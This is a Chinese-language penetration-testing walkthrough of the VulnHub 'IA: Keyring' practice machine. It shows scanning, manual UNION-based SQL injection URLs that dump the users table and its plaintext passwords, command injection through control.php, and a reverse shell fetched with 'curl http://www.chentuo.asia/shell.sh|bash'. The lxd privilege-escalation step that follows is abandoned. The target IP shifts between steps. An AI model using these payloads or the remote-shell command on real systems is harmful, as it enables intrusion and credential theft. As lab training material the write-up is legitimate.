靶机下载地址: https://www.vulnhub.com/entry/ia-keyring-101,718/
教程链接地址: https://blog.csdn.net/hljzzj/article/details/122952373
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 KEYRING:桥接于 192.168.31.1 的网卡,ip 未知
1)arp 确定靶机地址
sudo arp-scan -l

-> 靶机 ip:192.168.31.127
2)确认靶机 ip 开放的端口信息
sudo nmap -p- 192.168.31.208

-> 靶机开放端口 22,80
# 网站信息收集
打开 http://192.168.31.208 进行信息收集

是一个注册登陆的界面,直接输入 12345:12345 注册一个账户

将注册的账户通过 login 界面登陆进去

登陆后的页面中 Home 是欢迎 12345 用户的信息,下面显示了时间

在 control 页面,显示的是一个 HPP 参数污染的提示

目前得到的信息并不能进行攻击,需要寻找更多的信息
对目标网址进行路径扫描,寻找更多的信息
dirsearch -u http://192.168.31.208

dirsearch 并没有加载出来有利用价值的信息
gobuster dir -x php,txt,html,zip,rar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.208

-> gobuster 扫描出来了一个 history.php 的路径
http://192.168.31.208/history.php

# wfuzz 爆破参数
提示说没有找到活跃的用户,猜测这里是因为没有登陆用户的原因
找到登陆页面,登陆我们之前注册的用户

重新打开 history.php 页面,提示信息变成了空白的,说明用户登陆对此页面的回显结果是有影响的

很明显这个 history.php 的文件是存在问题的,怀疑后面是否有参数地址
可以用 wfuzz 进行爆破参数地址试试
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.31.208/history.php?FUZZ=xxx

-> 发现全是 200 ,那就不能用 wfuzz 测试参数了,需要用其他的方式
# 模糊测试
之前收集到的信息中有一句话 “can’t find this user’s activity”,尝试 user 参数
http://192.168.31.208/history.php?user=admin

爆出来了源码 http://github.com/cyberbot75/keyring

# 手工 sql 注入
# 判断是否是注入点
对 history.php 所在的 url 地址尝试手工判断是否是注入点
http://192.168.31.208/history.php?user=admin' and 1=1--+
and 1=1 --+ 被执行,and 1=2 --+ 报错,是注入点

# 猜字段数
http://192.168.31.208/history.php?user=admin' union select 1--+
猜字段有多少个,1 时是正确的

http://192.168.31.208/history.php?user=admin' union select 1,2--+
1,2 时报错了,说明只能爆出来一个字段

# 猜当前数据库
http://192.168.31.208/history.php?user=admin’ union select database()–+

数据库名是 users
# 猜数据库
http://192.168.31.208/history.php?user=admin' union select group_concat(schema_name) from information_schema.schemata--+
group_concat(schema_name) from information_schema.schemata–+

一共有四个数据库 information_schema,mysql,performance_schema,sys,users
# 猜表
http://192.168.31.208/history.php?user=admin' union select group_concat(table_name) from information_schema.tables where table_schem
a=%27users%27–+
group_concat(table_name) from information_schema.tables where
table_schema=‘users’–+

数据库 user 下有两个表:details,log
# 猜列
http://192.168.31.208/history.php?user=admin' union select group_concat(column_name) from information_schema.columns where table_name='details'--+
group_concat(column_name) from information_schema.columns where
table_name=‘details’–+

users.detail 表中有两列:name,password
# 猜字段
http://192.168.31.208/history.php?user=admin' union select group_co
ncat(name)%20from%20users.details–+
group_concat(name) from users.details–+admin,admin123,john,test

users.detail 中 name 分别是:admin,admin123,john,test
http://192.168.31.208/history.php?user=admin' union select group_concat(password) from users.details--+
group_concat(password) from users.details–+

users.detail 中 password 分别是:
myadmin#p4szw0r4d,admin123,Sup3rPasSW0RD,test
去除掉自己注册掉的用户之外,发现源网站存在两个用户和密码
-> Admin: myadmin#p4szw0r4d john: Sup3rPasSW0RD
# php 代码审计
由 Admin: myadmin#pszw0r4d 登陆到网站后台

home.php 页面检测到了 admin 账户已经登陆成功

http://github.com/cyberbot75/keyring
查看源码,审计源码,发现 control.php 存在 RCE 漏洞

注入参数为 cmdcntr 测试是否回显成功
http://192.168.31.208/control.php?cmdcntr=id

有回显,RCE 确实存在,测试是否存在相应的可反弹 shell 的命令
http://192.168.31.208/control.php?cmdcntr=which curl;which bash;which python;which php;

# 后台反弹 shell
http://192.168.31.208/control.php?cmdcntr=curl http://www.chentuo.asia/shell.sh|bash

接收 shell,并将其转变为一个标准的 shell

检查各个文件,查看有没有敏感的目录
发现有一个 john 的用户,之前通过 sql 注入网站爆出的用户名有 john
john: Sup3rPasSW0RD 切换到了 john 用户

# strings 查看文件
翻阅相关的文件,找到了一个敏感的文件 s 权限的 compress
但是服务器不存在 strings 不能查看这个命令里封装的是什么

通过 scp/wget 将文件下载到了 kali 主机上
strings compress 查看此命令的详细信息,compose 会调用 root 的 s 权限

# tar 通配符提权
1 | tar通配符提权 |

# lxd 提权
在 john 用户下,查看 id 时看到了所有组中有 lxd,并且本地有 lxc 命令

searchsploit lxd 查找到了本地是存在此 exp 的

阅读利用脚本说明,需要在攻击机上下载并以 root 账户编译该文件,最后将编译成功的文件以及 exp 一块发送到目标机器上

在攻击机上下载 payload
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

在攻击机上编译此 payload
运行此命令时因为 kali 机器是在 M1 的 mac 电脑上搭建的,属于 aarch,不同于 windows 的 amd64 系统,因此编译失败了

-> Lxd 提权失败了,需要一台 amd64 的机器进行编译此文件